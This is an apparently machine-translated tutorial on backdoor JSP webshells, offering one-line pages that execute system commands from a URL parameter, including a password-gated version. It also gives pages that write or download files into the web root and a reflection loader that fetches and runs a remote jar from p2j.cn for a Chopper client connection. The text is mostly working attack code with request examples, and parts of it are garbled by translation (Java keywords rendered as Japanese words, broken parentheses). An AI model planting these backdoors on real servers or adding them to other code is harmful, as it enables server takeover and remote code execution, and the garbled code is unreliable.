転属先:http://p2j.cn/?p=1627 1. システムコマンドの実行: エコーなしでシステムコマンドを実行する: <%Runtime.getRuntime().exec(request.getParameter("i"));%> リクエスト:http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 実行後はエコーがなく、バウンスシェルにはとても便利です。 パスワード認証に関する共通点があります: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i").getInputStream(); int a = -1; バイト[] b = 新しいバイト[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); }%> リクエスト:http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. 文字列をエンコードし、指定されたファイルに書き込む: 1: <%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes();%> リクエスト:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 ウェブディレクトリに書き込み: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f").write(request.getParameter("c").getBytes();%> リクエスト:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> リクエスト:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 ウェブディレクトリに書き込み: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> リクエスト:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: リモートファイルのダウンロード(apache io utilsを使っていなければ入力ストリームをバイトに変換できないので非常に長い...) <% java.io.InputStream in = new java.net.URL(request.getParameter("u").openStream(); バイト[] b = 新しいバイト[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; 一方((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> リクエスト:http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png ウェブパスへのダウンロード: <% java.io.InputStream in = new java.net.URL(request.getParameter("u").openStream(); バイト[] b = 新しいバイト[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; 一方((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> リクエスト:http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png 四つ目:リフレクションが外部の瓶を呼び出し、裏口を完璧にする 上記のバックドア機能があまりにも弱くて時代遅れだと感じるなら、これを試してみてください: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u")))).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> リクエスト:http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
包丁の接続:http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar、パスワード023。
解決策: リフレクションを使って外部jarを現在のアプリケーションに読み込み、リフレクションが出力処理結果を実行します。 request.getParameterMap() は要求されたすべてのパラメータを含みます。 外部jarパッケージが読み込まれているため、サーバーはこのjarアドレスにアクセスできなければなりません。 |